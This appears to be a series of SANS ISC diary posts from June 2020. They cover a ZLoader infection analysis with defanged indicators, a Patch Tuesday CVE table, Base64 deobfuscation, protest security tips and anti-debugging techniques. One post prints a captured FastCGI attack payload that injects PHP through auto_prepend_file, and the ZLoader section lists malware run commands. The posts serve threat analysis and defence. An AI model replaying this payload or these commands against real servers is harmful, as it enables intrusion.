  • The URL for the initial ZLoader URL is geo-fenced.  Although the emails and XLS files were in English, I could not get an infection from an IP address within the United States.  I was able to successfully infect a lab host by going through a Canadian IP address.
  • The Registry update to keep ZLoader persistent didn't happen until after I rebooted my infected lab host.  I forgot to check if it would happen when I merely signed out and signed back in through the same user account.


Shown above:  Flow chart for this infection chain.

Images from the infection


Shown above:  Screenshot of an email from this campaign.


Shown above:  You need the password from the email to unlock and open the XLS file.


Shown above:  Screenshot of the XLS file after it's unlocked.


Shown above:  Traffic seen for the ZLoader DLL after enabling macros on the unlocked XLS file.


Shown above:  The initial ZLoader DLL as it was first saved to my infected Windows host.


Shown above:  Three minutes later, I saw a new ZLoader DLL the same size as the old one with a different SHA256 file hash.


Shown above:  Traffic from the infection filtered in Wireshark.


Shown above:  TCP stream with an example of ZLoader post-infection traffic.


Shown above:  ZLoader on the infected Windows host.  Other folders in the AppData\Roaming directory created during this infection often had decoy files consisting of random binary data.


Shown above:  Registry update to keep ZLoader persistent.  The registry update didn't happen until after I rebooted my infected Windows host.

Indicators of Compromise (IoCs)

SHA256 hashes for password-protected XLS files (password: 1234)

Malware retrieved from an infected Windows 10 host:

SHA256 hash: 0829886e0ca34a32fa545e0a53d7a2208d963b7b826a14aefde94d9ff4f549e5

  • File size: 503,296 bytes
  • File location: hxxp://205.185.122[.]246/files/june9.dll
  • File location: C:\ZIIuhIe\rGmFquU\PLyUKBP.dll
  • File description: Initial DLL file for ZLoader retrieved by Word macro
  • Run method: rundll32.exe PLyUKBP.dll,DllRegisterServer

SHA256 hash: aa8fc19f16e4e185f6464d2e18ec7731c235d2b0d364f76965cf5967d5eef613

  • File size: 503,296 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp]isen.dll
  • File location: C:\Users\[username]\AppData\Roaming\Okge\anin.dll
  • File description: Follow-up DLL for ZLoader persistent on the infected Win10 host
  • Run method: regsvr32.exe /s anin.dll

Traffic from an infected Windows 10 host:

  • 205.185.122[.]246 port 80 - 205.185.122[.]246 - GET /b9xBB3
  • 205.185.122[.]246 port 80 - 205.185.122[.]246 - GET /files/june9.dll
  • 188.68.221[.]239 port 80 - snnmnkxdhflwgthqismb[.]com - POST /post.php

Final words

As always, these types of infections are not very effective against fully-patched and up-to-date computers running the latest version of Microsoft Windows.  The default virus & threat protection settings should stop these samples of ZLoader from infecting a Windows 10 host.  Real-time protection and Tamper Protection are designed to prevent such activity.

And as I mentioned last week, malware authors continually adjust their malware in an attempt to escape detection.  With the low cost of distribution through email, and with poor security practices among potential victims, campaigns pushing ZLoader and other malware will likely remain cost-effective.

Pcap and malware samples for today's diary can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2020-06-09

Microsoft June 2020 Patch Tuesday

This month we got patches for 130 vulnerabilities. Of these, 12 are critical and none of them was previously disclosed or is being exploited according to Microsoft. 

Amongst critical vulnerabilities, there is a remote code execution in Windows Graphics Device Interface (GDI) - CVE-2020-1248 . An attacker could exploit this vulnerability by convincing users to view a specially crafted website or sending them an e-mail attachment with a malicious attachment. This vulnerability affects multiple versions of Windows 10 and Windows Server versions 1903, 1909, and 2004. The CVSS v3 score for this vulnerability is 8.40.

There is also an RCE affecting Windows OLE (CVE-2020-1281) due to improper validation of user input. As for the previous vulnerability, an attacker could exploit this vulnerability using specially crafted websites or via e-mail phishing campaigns. This vulnerability affects virtually all supported Windows versions – from Windows 7 to Windows Server 2019. 

The highest CVSS v3 this month (8.60) was given to an important Information Disclosure vulnerability in SMBv3 Client/Server (CVE-2020-1206). According to Microsoft, the information that could be disclosed if an attacker successfully exploits this vulnerability is uninitialized memory. This vulnerability reminds me CVE-2020-0796, known as SMBGhost publish last March. The workarounds suggested by Microsoft are the same for both – disabling SMBv3 compression. But, of course, SMBGhost is an RCE vulnerability.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure DevOps Server HTML Injection Vulnerability
%%cve:2020-1327%% No No Less Likely Less Likely Important    
Component Object Model Elevation of Privilege Vulnerability
%%cve:2020-1311%% No No Less Likely Less Likely Important 7.8 7.0
Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2020-1211%% No No Less Likely Less Likely Important 7.8 7.0
Connected User Experiences and Telemetry Service Denial of Service Vulnerability
%%cve:2020-1120%% No No Less Likely Less Likely Important 7.1 6.4
%%cve:2020-1244%% No No Less Likely Less Likely Important 6.3 5.7
Diagnostic Hub Standard Collector Elevation of Privilege Vulnerability
%%cve:2020-1202%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-1203%% No No Less Likely Less Likely Important 7.8 7.0
Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability
%%cve:2020-1278%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1257%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1293%% No No Less Likely Less Likely Important 7.8 7.0
DirectX Elevation of Privilege Vulnerability
%%cve:2020-1258%% No No Less Likely Less Likely Important 6.4 5.8
GDI+ Remote Code Execution Vulnerability
%%cve:2020-1248%% No No Less Likely Less Likely Critical 8.4 7.6
Group Policy Elevation of Privilege Vulnerability
%%cve:2020-1317%% No No Less Likely Less Likely Important 7.8 7.0
Internet Explorer Information Disclosure Vulnerability
%%cve:2020-1315%% No No Less Likely Less Likely Important 2.4 2.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-1208%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1236%% No No Less Likely Less Likely Important 7.8 7.0
June 2020 Adobe Flash Security Update
ADV200010 No No - - Critical    
LNK Remote Code Execution Vulnerability
%%cve:2020-1299%% No No Less Likely Less Likely Critical 6.8 6.1
Media Foundation Information Disclosure Vulnerability
%%cve:2020-1232%% No No Less Likely Less Likely Important 6.5 5.9
Media Foundation Memory Corruption Vulnerability
%%cve:2020-1238%% No No Less Likely Less Likely Important 8.8 7.9
%%cve:2020-1239%% No No Less Likely Less Likely Important 8.8 7.9
Microsoft Bing Search Spoofing Vulnerability
%%cve:2020-1329%% No No - - Important    
Microsoft Browser Memory Corruption Vulnerability
%%cve:2020-1219%% No No More Likely More Likely Critical    
Microsoft Edge (Chromium-based) in IE Mode Spoofing Vulnerability
%%cve:2020-1220%% No No - - Important 5.4 4.9
Microsoft Edge Information Disclosure Vulnerability
%%cve:2020-1242%% No No - - Important 4.3 3.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-1225%% No No Less Likely Less Likely Important    
%%cve:2020-1226%% No No Less Likely Less Likely Important    
Microsoft Graphics Component Information Disclosure Vulnerability
%%cve:2020-1160%% No No Less Likely Less Likely Important 5.5 5.0
Microsoft Office Remote Code Execution Vulnerability
%%cve:2020-1321%% No No Less Likely Less Likely Important    
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-1183%% No No Less Likely Less Likely Important    
%%cve:2020-1298%% No No Less Likely Less Likely Important    
%%cve:2020-1320%% No No Less Likely Less Likely Important    
%%cve:2020-1177%% No No Less Likely Less Likely Important    
%%cve:2020-1297%% No No Less Likely Less Likely Important    
%%cve:2020-1318%% No No Less Likely Less Likely Important    
Microsoft Outlook Security Feature Bypass Vulnerability
%%cve:2020-1229%% No No Less Likely Less Likely Important    
Microsoft Project Information Disclosure Vulnerability
%%cve:2020-1322%% No No Less Likely Less Likely Important    
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2020-1295%% No No Less Likely Less Likely Important    
Microsoft SharePoint Server Elevation of Privilege Vulnerability
%%cve:2020-1178%% No No Less Likely Less Likely Important    
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2020-1181%% No No Less Likely Less Likely Critical    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-1148%% No No Less Likely Less Likely Important    
%%cve:2020-1289%% No No - - Important    
Microsoft Store Runtime Elevation of Privilege Vulnerability
%%cve:2020-1222%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1309%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Windows Defender Elevation of Privilege Vulnerability
%%cve:2020-1163%% No No Less Likely Less Likely Important    
%%cve:2020-1170%% No No Less Likely Less Likely Important    
NuGetGallery Spoofing Vulnerability
%%cve:2020-1340%% No No - - Important    
OLE Automation Elevation of Privilege Vulnerability
%%cve:2020-1212%% No No Less Likely Less Likely Important 7.8 7.0
OpenSSH for Windows Elevation of Privilege Vulnerability
%%cve:2020-1292%% No No Less Likely Less Likely Important 8.8 7.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-1073%% No No - - Critical 4.2 3.8
SharePoint Open Redirect Vulnerability
%%cve:2020-1323%% No No Less Likely Less Likely Important    
System Center Operations Manager Spoofing Vulnerability
%%cve:2020-1331%% No No - - Important    
VBScript Remote Code Execution Vulnerability
%%cve:2020-1213%% No No More Likely More Likely Critical    
%%cve:2020-1214%% No No More Likely More Likely Important    
%%cve:2020-1215%% No No More Likely More Likely Important    
%%cve:2020-1216%% No No More Likely More Likely Critical    
%%cve:2020-1230%% No No More Likely More Likely Important 7.5 6.7
%%cve:2020-1260%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Code Live Share Information Disclosure Vulnerability
%%cve:2020-1343%% No No - - Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2020-1207%% No No More Likely More Likely Important 6.4 5.8
%%cve:2020-1247%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-1310%% No No Less Likely Less Likely Important 6.4 5.8
%%cve:2020-1251%% No No More Likely More Likely Important 7.0 6.3
%%cve:2020-1253%% No No More Likely More Likely Important 6.4 5.8
Win32k Information Disclosure Vulnerability
%%cve:2020-1290%% No No Less Likely Less Likely Important 5.5 5.0
Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability
%%cve:2020-1255%% No No Less Likely Less Likely Important 8.5 7.6
Windows Backup Service Elevation of Privilege Vulnerability
%%cve:2020-1271%% No No Less Likely Less Likely Important 7.8 7.0
Windows Bluetooth Service Elevation of Privilege Vulnerability
%%cve:2020-1280%% No No Less Likely Less Likely Important 7.8 7.0
Windows Denial of Service Vulnerability
%%cve:2020-1283%% No No Less Likely Less Likely Important 5.5 5.0
Windows Diagnostics & feedback Information Disclosure Vulnerability
%%cve:2020-1296%% No No Less Likely Less Likely Important 5.0 4.5
Windows Elevation of Privilege Vulnerability
%%cve:2020-1324%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1162%% No No Less Likely Less Likely Important 7.8 7.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2020-1234%% No No Less Likely Less Likely Important 7.8 7.0
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2020-1261%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-1263%% No No Less Likely Less Likely Important 5.5 5.0
Windows Error Reporting Manager Elevation of Privilege Vulnerability
%%cve:2020-1197%% No No Less Likely Less Likely Important 6.3 5.7
Windows Feedback Hub Elevation of Privilege Vulnerability
%%cve:2020-1199%% No No Less Likely Less Likely Important 7.8 7.0
Windows GDI Elevation of Privilege Vulnerability
%%cve:2020-0915%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-0916%% No No Less Likely Less Likely Important 7.8 7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2020-1348%% No No Less Likely Less Likely Important 5.5 5.0
Windows Host Guardian Service Security Feature Bypass Vulnerability
%%cve:2020-1259%% No No Less Likely Less Likely Important 4.3 3.9
Windows Installer Elevation of Privilege Vulnerability
%%cve:2020-1277%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1312%% No No Less Likely Less Likely Important    
%%cve:2020-1272%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1302%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-0986%% No No Less Likely Less Likely Important    
%%cve:2020-1237%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1246%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1262%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1269%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1274%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1275%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1307%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1316%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1264%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1266%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1273%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1276%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Security Feature Bypass Vulnerability
%%cve:2020-1241%% No No More Likely More Likely Important 5.3 4.8
Windows Lockscreen Elevation of Privilege Vulnerability
%%cve:2020-1279%% No No Less Likely Less Likely Important 7.8 7.0
Windows Mobile Device Management Diagnostics Elevation of Privilege Vulnerability
%%cve:2020-1204%% No No Less Likely Less Likely Important 6.3 5.7
Windows Modules Installer Service Elevation of Privilege Vulnerability
%%cve:2020-1254%% No No Less Likely Less Likely Important 7.8 7.0
Windows Network Connections Service Elevation of Privilege Vulnerability
%%cve:2020-1291%% No No Less Likely Less Likely Important 7.0 6.3
Windows Network List Service Elevation of Privilege Vulnerability
%%cve:2020-1209%% No No Less Likely Less Likely Important 7.0 6.3
Windows Now Playing Session Manager Elevation of Privilege Vulnerability
%%cve:2020-1201%% No No Less Likely Less Likely Important 7.8 7.0
Windows OLE Remote Code Execution Vulnerability
%%cve:2020-1281%% No No Less Likely Less Likely Critical 7.8 7.0
Windows Print Configuration Elevation of Privilege Vulnerability
%%cve:2020-1196%% No No Less Likely Less Likely Important 7.0 6.3
Windows Registry Denial of Service Vulnerability
%%cve:2020-1194%% No No Less Likely Less Likely Important 5.5 5.0
Windows Remote Code Execution Vulnerability
%%cve:2020-1300%% No No Less Likely Less Likely Critical 7.8 7.0
Windows Runtime Elevation of Privilege Vulnerability
%%cve:2020-1334%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1231%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1233%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1235%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1282%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1265%% No No - - Important 7.8 7.0
%%cve:2020-1304%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1306%% No No Less Likely Less Likely Important 7.8 7.0
Windows Runtime Information Disclosure Vulnerability
%%cve:2020-1217%% No No Less Likely Less Likely Important 7.0 6.3
Windows SMB Remote Code Execution Vulnerability
%%cve:2020-1301%% No No More Likely More Likely Important 7.5 6.7
Windows SMBv3 Client/Server Denial of Service Vulnerability
%%cve:2020-1284%% No No - - Important 7.5 6.7
Windows SMBv3 Client/Server Information Disclosure Vulnerability
%%cve:2020-1206%% No No More Likely More Likely Important 8.6 7.7
Windows Service Information Disclosure Vulnerability
%%cve:2020-1268%% No No Less Likely Less Likely Important 5.5 5.0
Windows Shell Remote Code Execution Vulnerability
%%cve:2020-1286%% No No Less Likely Less Likely Critical 7.8 7.0
Windows State Repository Service Elevation of Privilege Vulnerability
%%cve:2020-1305%% No No Less Likely Less Likely Important 7.8 7.0
Windows Text Service Framework Elevation of Privilege Vulnerability
%%cve:2020-1314%% No No Less Likely Less Likely Important 7.0 6.3
Windows Update Orchestrator Service Elevation of Privilege Vulnerability
%%cve:2020-1313%% No No Less Likely Less Likely Important    
Windows WLAN Service Elevation of Privilege Vulnerability
%%cve:2020-1270%% No No Less Likely Less Likely Important 7.8 7.0
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2020-1294%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1287%% No No Less Likely Less Likely Important 7.8 7.0
Word for Android Remote Code Execution Vulnerability
%%cve:2020-1223%% No No - - Important    

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

2 Comments

Published: 2020-06-08

Translating BASE64 Obfuscated Scripts

I often get requests for help with deobfuscating scripts. I have several tools that can help.

Today, I had a request that was a bit different: deobfuscate a script with BASE64 encoded strings, but in stead of producing a list of deobfuscated strings, produce a deobfuscated script that will behave exactly like the obfuscated one.

That is something you can do with my translate.py tool: you can use translate.py to take a regular expression and a Python function, and have the Python function (that does the decoding) called for every match of the regular expression.

Take this sample script, where all strings (except empty strings) are BASE64 encoded:

I use the following regular expression to match a BASE64 string enclosed with double quotes: \x22[a-zA-Z0-9+/]+={0,2}\x22

\x22 is a double quote represented in its hexadecimal form, as I can encounter issues in my OS command interpreter using a double quote directly.

And then I use a Python function (more precisely, a lambda expression) that receives the regular expression match object to do the translation. Here I will just take the matched string (oMatch.group()) and prefix it with an arrow so that we can see the effect:

Since we don't need to decode the double quotes (only the BASE64 string), we will use a regular expression capture group to capture the BASE64 character sequence. Remark that captures group are in a list of the match object: oMatch.groups(). We will need the first capture: oMatch.groups()[0].

Then we use method binascii.a2b_base64 to do the BASE64 decoding:

Now we have a deobfuscated script that we can understand. However, executing this script will fail, as the Decode64 function is still invoked, and the decoded strings are not surrounded by double-quotes.

This can be fixed by extending the regular expression to match Decode64(...) and have the lambda function surround the decoded string with double quotes:

translate.py -r "Decode64\(\x22([a-zA-Z0-9+/]+={0,2})\x22\)" sample.txt "lambda oMatch: b'\x22' + binascii.a2b_base64(oMatch.groups()[0]) + b'\x22'"x

My tool translate.py operates on binary files. If you use it on an ASCII file with Python 3, like I did here, you need to use bytes (like byte b'\x22' instead of character '\x22').

If you have a UNICODE text file (for example, a PowerShell script), you first need to convert it to ASCII.

If you don't have tools to do this, you can use my python-per-line.py tool, like this:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

0 Comments

Published: 2020-06-05

Cyber Security for Protests

Modern-day protests are as much about social media and voicing your opinions online, as they are about showing up "in person". When attending a protest, it is important to keep some basic rules in mind to stay secure. Of course, it is always best to leave expensive electronics at home, but live streaming, posting to social media, and recording events at the protest is very much a part of modern protests. The other option is to only take a relatively cheap "burner phone" with you that does not have any of your personal data associated with it. But even a cheap, but reasonably functional phone will be too expensive for most.

The rules below come mostly from various sites for protestors in Hong Kong. Hong Kong protesters during their ongoing prolonged protests have not only learned to use electronic means efficiently, but they also have faced very strong countermeasures. So let's learn "from the best" to see how to protect yourself.

Social Media and Protests

An open social media account is probably the easiest way to link a particular person to a protest. Decide who you would like to share your location/photos and other information with. This is as good of a time as any to review your social media privacy settings and double-check your friend list. Opponents will often try to disrupt protests by either claiming to be someone else or by posting bad information.

For example, opponents to a cause may post invites to protests/events that will not happen. This will not only cause lower attendance to legitimate events, but it will also frustrate supporters and make them less likely to attend future events. In another case I observed last weekend, opponents to a protest tried to scare potential attendance by stating that the protest is violent and "bombs are being thrown" while the protest was actually exceptionally quiet.

Adversaries will use social media relationships to map out networks of supporters for a specific course. They can use this to infiltrate networks by "friending" members. You may want to keep your social media identity private and use different social media accounts for different purposes.

Wireless Communication Security

Staying connected during a protest is not just important to spread the message, but also for your personal security. It can be important to quickly find out when a protest turns violent or to use tools like mapping software to find a quick way out. But wireless communication has its own risks associated with it. First of all, never ever connect to an open wireless access point while at a protest. It would be very easy for an adversary to set up an open access point, either impersonating a coffee shop access point or using an SSID that appears to be associated with the protest. Access points can also be used to monitor communication or disrupt it. For example, the malicious access point may block access to specific services like social media. Your phone will typically not fail-over to the cell phone network as long as the rest of the internet is still available via the access point. 

Try to limit the number of radios you have enabled on your phone (Bluetooth, NFC, WiFi, LTE). LTE tends to be your best option. But during large scale protests, government agencies may decide to collect LTE data. So-called "IMSI Catchers" can be used to at least identify users in the area. In some cases, they can be used to intercept and manipulate data, in particular SMS messages.

Wireless networks (Wifi or LTE) can become overloaded during large protests, or authorities may disable them. It can be helpful to set up an application that can be used to communicate short-range with friends (for example there are some Bluetooth based applications).

General Communication Security

A VPN is a reasonably good idea, but remember, VPNs are only as secure as the VPN provider. Modern systems already heavily rely on solid encrypted protocols. Even without a VPN, using HTTPS and DNS over HTTPS does obscure most of your data from prying eyes. A VPN does provide additional security in not revealing the IP addresses you are connecting to to a local observer. But the VPN provider becomes a new choke point. Select it carefully. VPN providers making inflated claims should be avoided. For example, VPNs typically do not protect you from malware.

Consider the use of independent end to end encrypted messaging systems like Telegram or Signal.

Web Browser Security

Web browsers are probably the application used most these days. Sites you visit and how you use your browser reveals a lot about who you are, what you are doing, and where you went. Even without location tracking, searchers for locations may infer for example which locations you went to. The browsers "incognito" mode can help but isn't perfect. You should also configure your browser to only keep a limited (1 week?) history. Occasionally, you may want to manually delete your browser data to erase tracking cookies and web storage that can aid in tracking your movements. 

Device Security

At a minimum, select a hard to guess passphrase, and do not use a numeric PIN alone. You may want to set a PIN for your SIM card as well. If you turn off your device, the SIM card can not be used in a different device. Without a PIN, an attacker could move the SIM card to a different device and still receive your SMS messages (e.g. to reset passwords). Biometric is convenient but can be used to unlock your device by swiping your fingerprint or holding the device up to your face. If you use biometrics: Learn how to quickly lock your device. Some devices have an "emergency lock" that can be activated by quickly pressing a button multiple times. Also, review what information is used on the lock screen.

The risk of device compromise via untrusted charging cables is often overblown. But it doesn't hurt to bring your own cable and charger, or better an extended battery pack.

Review the privacy settings on your phone and disable features like location tracking for as many applications as you can. And most importantly, update your phone before you get close to any protest. Do not update carrier settings while at a protest or close to a protest.

And don't forget those masks (at least they are now acceptable for protests not just to deceive facial recognition). Stay healthy!

Anything I missed? Anything that helped you or risks you observed? Please comment below.

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2020-06-05

Not so FastCGI!

This past month, we've seen some new and different scans targeting tcp ports between 8000 and 10,000. The first occurrence was on 30 April 2020 and originated from ip address %%ip:23.95.67.187%% and containing payload:

\x01\x01\0\x01\0\b\0\0\0\x01\0\0\0\0\0\0

 

After this initial scan, the next similar scans used a different ip address (%%ip:45.14.224.248%%), but within 5 hours from the first occurrence we received a different payload:

\x01\x01\0\x01\0\b\0\0\0\x01\0\0\0\0\0\0\x01\x04\0\x01\x02\xdb\x05\0\t\x80\0\x02wPHP_VALUEallow_url_include=1\nallow_url_fopen=1\nauto_prepend_file=\'data://text/plain;base64,PD9waHAgaWYoZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9yZXBvcnRpbmcnKSl7QGVycm9yX3JlcG9ydGluZygwKTt9aWYoZnV
uY3Rpb25fZXhpc3RzKCdpbmlfc2V0Jykpe0Bpbmlfc2V0KCdlcnJvcl9yZXBvcnRpbmcnLDApO0Bpbmlfc2V0KCdlcnJvcl9sb2cnL
E5VTEwpO0Bpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTt9JF9fXz0oaXNzZXQoJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pPyRfU0VSVkV
SWyJTQ1JJUFRfTkFNRSJdOihpc3NldCgkX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk/JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdO
k5VTEwpKTtpZigkX19fPT09Ii91c3IvYmluL3BoYXIucGhhciIpe2VjaG8iPHNwYW4gc3R5bGU9J2Rpc3BsYXk6bm9uZSc+Ii5tZDU
oJ2xvaHBpZHInKS4iPC9zcGFuPiI7ZXhpdCgwKTt9IA==\'\x0f\x12SCRIPT_FILENAME/usr/bin/phar.phar\x0b\x12
SCRIPT_NAME/usr/bin/phar.phar\x0e\x04REQUEST_METHODPOST\0\0\0\0\0\x01\x04\0\x01\0\0\0\0\x01\x05\0\x01
\0\0\0\0

 

It is clear that the payload is trying to exploit something PHP related, but it was not immediately obvious what service was being targeted. After Googling around for a while, I could identify the payload as being targeting fastcgi. Fastcgi can run using both unix sockets (named pipes on Windows) and tcp sockets. Apparently they are scanning for publicly available, incorrect configured fastcgi sockets.

Now that we know what to look at, we can dive into the source code of FastCGI to validate the protocol being used. The FastCGI code can be found at the PHP repository.

Looking at the source code https://github.com/php/php-src/blob/master/main/fastcgi.c#L1044 and function fcgi_read_request, we can recognise the header and structure being used. Eg the first header contains the FCGI_BEGIN_REQUEST type, with FCGI_RESPONDER role. The following header consists of the type FCGI_PARAMS, with several variables being defined.

PHP_VALUE allow_url….
SCRIPT_FILENAME /usr/bin/phar.phar
SCRIPT_NAME /usr/bin/phar.phar
REQUEST_METHOD POST

Next, it will send a FCGI_PARAMS to end the send of parameters, and send the header with type FCGI_STDIN.

The PHP_VALUE variable consists of php directives causing the base64 encoded script to be automatically parsed before the main file (https://www.php.net/manual/en/ini.core.php).

Using my favorite swiss army knife CyberChef, we can decode the base64 encoded script easily (recipe From Base64) and beautify the code (recipe Generic Code Beautify), resulting in the following php script:

<?php if (function_exists('error_reporting'))  {
    @error_reporting(0);
}

if (function_exists('ini_set'))  {
    @ini_set('error_reporting', 0);
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
}

$___ = (isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_NAME"]:(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_FILENAME"]:NULL));
if ($___ ==  = "/usr/bin/phar.phar")  {
    echo"<span style='display:none'>".md5('lohpidr')."</span>";
    exit(0);
}

 

After setting up some configuration to prevent error reporting and error logging, it will validate if the code is being executed with the script name set to /usr/bin/phar.phar. If this is the case, a non-browser visible (hidden by css) will be returned, containing the md5 hash of lohpidr, which results in the hash 58d4c1968bd824ac7ac95da61a462919.

Since the 27th of May, we now see the same payload occurring with a different originating ip address %%ip:107.172.5.101%%. It is interesting to see is that the netblock owner of the first (%%ip:23.95.67.187%%) and last (%%ip:107.172.5.101%%) ip address is Virtual Machine Solutions LLC, the middle (%%ip:45.14.224.248%%) is owned by SpectraIP B.V. We don't see any other traffic from these hosts within our honeypot network.

IOCs:

  • %%ip:107.172.5.101%%
  • %%ip:45.14.224.248%%
  • %%ip:23.95.67.187%%

Please share your ideas, comments and/or insights, with me via social media, @remco_verhoef or email, remco.verhoef at dutchsec dot com. Have a great day!

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec

PGP Key

2 Comments

Published: 2020-06-04

Suspending Suspicious Domain Feed / Update to Researcher IP Feed

Yesterday, Peter from DNSFilter send us a message noting that many of the domains in our "Suspicious Domain" feed no longer resolved, and some of the feeds we used as input were no longer maintained. After investigating, I have to agree with him. The remaining feeds don't make a valuable service at this point. The idea of the "Suspicious Domain" list was to aggregate different lists, but with essentially only 1 or 2 lists left, that doesn't make sense and I decided to no longer maintain the feed until we find new inputs. The respective files will still be offered by they are empty to not break any existing scripts that use them (they are quite popular).

Recently, I also talked about our API feature to retrieve IP addresses used by researchers scanning the Internet. I yesterday added about 150 IPs used by security.ipip.net. See https://isc.sans.edu/api/threatcategory/research

Please keep the feedback coming. I am always interested in improving the quality of our data.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

2 Comments

Published: 2020-06-04

Anti-Debugging Technique based on Memory Protection

Many modern malware samples implement defensive techniques. First of all, we have to distinguish sandbox-evasion and anti-debugging techniques. Today, sandboxes are an easy and quick way to categorize samples based on their behavior. Malware developers have plenty of tests to perform to detect the environment running their code. There are plenty of them, some examples: testing the disk size, the desktop icons, the uptime, processes, network interfaces MAC addresses, hostnames, etc.

On the opposite, anti-debugging techniques are implemented to make the life of malware analysts more difficult. That's the next step in the "malware analysis pyramid", executing the malicious code into a debugger. Here again, they are many techniques available from very easy ones provided by the Microsoft API like isDebuggerPresent()[1] which returns 1 or 0 depending on the process being attached to a debugger. Note that this API call just checks the flag 'isDebugged" located in the second byte of the PEB[2] or "Process Environment Block".

Another technique is to search for interesting programs via their window title and the API call FindWindow()[3]. Easy to spot a running "x32dbg". Usually, when a program is being debugged, its execution is very slow. Thanks to GetTickCount()[4], it is possible to detect a long time between two system calls.

Some techniques are less usual but used from time to time. I found one yesterday via my sandbox:

The Windows kernel allows allocating memory in different ways depending on the future usage. When the malware will perform process injection, the memory must be allocated with the flag PAGE_EXECUTE_READWRITE (0x40). It's the case in the sample (see above).

There exist many flags for memory allocation[5], one that is interesting is PAGE_GUARD (0x100). Here is the description from the Microsoft documentation:

"Pages in the region become guard pages. Any attempt to access a guard page causes the system to raise a STATUS_GUARD_PAGE_VIOLATION exception and turn off the guard page status. Guard pages thus act as a one-time access alarm."

From a malware perspective, this is very interesting! Guard pages can be used by packers to unpack memory pages "on-demand": they are allocated and protected by PAGE_GUARD then accessed. The generated exception is intercepted and, if it matches the memory page, the content is processed. But, more interesting, the technique of guard pages detection can help to detect the presence of a debugger with the creation of PAGE_GUARD memory page and accessing it. If the exception STATUS_GUARD_PAGE_VIOLATION occurs, it’s assumed no debugging is in place.

Here is an example of protected memory allocation from the sample:


If you are interested in this sample, its SHA256 is 4251133ebe04bf0de34a7a1972342c77442942a4c2417f28c56145b2ee9ad451[6]. It has a VT score of 17/73.

[1] https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent
[2] https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
[3] https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-findwindowa
[4] https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-gettickcount
[5] https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
[6] https://www.virustotal.com/gui/file/4251133ebe04bf0de34a7a1972342c77442942a4c2417f28c56145b2ee9ad451/behavior/Dr.Web%20vxCube

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

